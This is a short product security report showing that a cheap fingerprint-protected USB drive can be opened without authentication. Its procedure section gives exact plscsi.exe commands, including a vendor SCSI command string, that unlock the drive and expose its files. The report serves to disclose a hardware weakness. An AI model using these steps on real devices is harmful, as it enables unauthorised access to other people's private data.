PRODUCT HACKING REPORT

Standard Fingerprint USB

Table of Contents
1.1 Aims/Objectives.................................................................................................2
1.2 Equipment.........................................................................................................2
1.3 System Requirements for PC.............................................................................2
2 PROCEDURES...........................................................................................................3
2.1 Before Hacking..................................................................................................3
2.2 Hacking Procedures...........................................................................................4
2.3 RESULTS............................................................................................................7
3 CONCLUSION...........................................................................................................8

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INTRODUCTION
This Fingerprint USB drive is a biometric enabled communication and entertainment centre that
enables to store data within a fingerprint-protected area, enjoy favourite online radio,
communicate with friends/colleagues by voice and/or chat and many more, most commonly
found selling at a cheap price in China. The owner of the device can access his private
information, settings and applications. Fingerprint or password authentication is necessary to
operate the device.

1.1 Aims/Objectives
a) To hack a standard Fingerprint USB device by using plscsi.exe.
b) To prove that cheaper swipe sensor product is no longer secure for data storage after a 3
minute hacking procedure.

1.2 Equipment
a) PC
b) Biometric device
c) PLSCSI.exe software, which can download from the link below.
http://home.comcast.net/~plavarre/plscsi/2002/09/22/win/plscsi.exe

1.3 System Requirements for PC

a) Windows XP Service Pack 1 or later or Server 2003 operating system
b) Intel P-III 800Mhz or higher CPU
c) 128Mb of RAM
d) One free USB port

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2 PROCEDURES
2.1 Before Hacking
1. Plug in device into USB port.

2. It will request for fingerprint scanning as shown in the picture below, assume that the
device is already registered.

3. Swipe finger for authentication.

4. Fingerprint authentication failed for unauthorised person.

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5. Content in drive before authentication. Data stored in this device is not accessible.

2.2 Hacking Procedures

1. Plug in device into USB port.

2. Click start runOpen: cmd then click OK.

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3. Drag in plscsi.exe file into the command window and key in –w after a space and then
press enter.

4. On the command window key in set PLSCSI =\\.\F:. F is used because the device is in F drive.

5. Drag in the plssci.exe file again into command window and with key in –p –v –x with a space in
between and “FC 00 00 00 00 00 00 00 01 00” x 00000000 FC 00 00:00:00:00 00 00:01
00 .. .. .. .. .. .. “|@@@@@@@A@” then press enter.

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|
| Enter
\/

6. Upon pressing enter, the F drive will open without any authentication.

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2.3 RESULTS
1. Able to open and view the files inside the drive, which previously were protected.

2. The files are able to copy out from the drive.

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3 CONCLUSION
Any standard Password encrypted Fingerprint USBs are able to hack quickly and without much
effort, if the sources of hack application is relevant. The data stored in this device are able to open
and read. It is accessible after performing hacking procedure.

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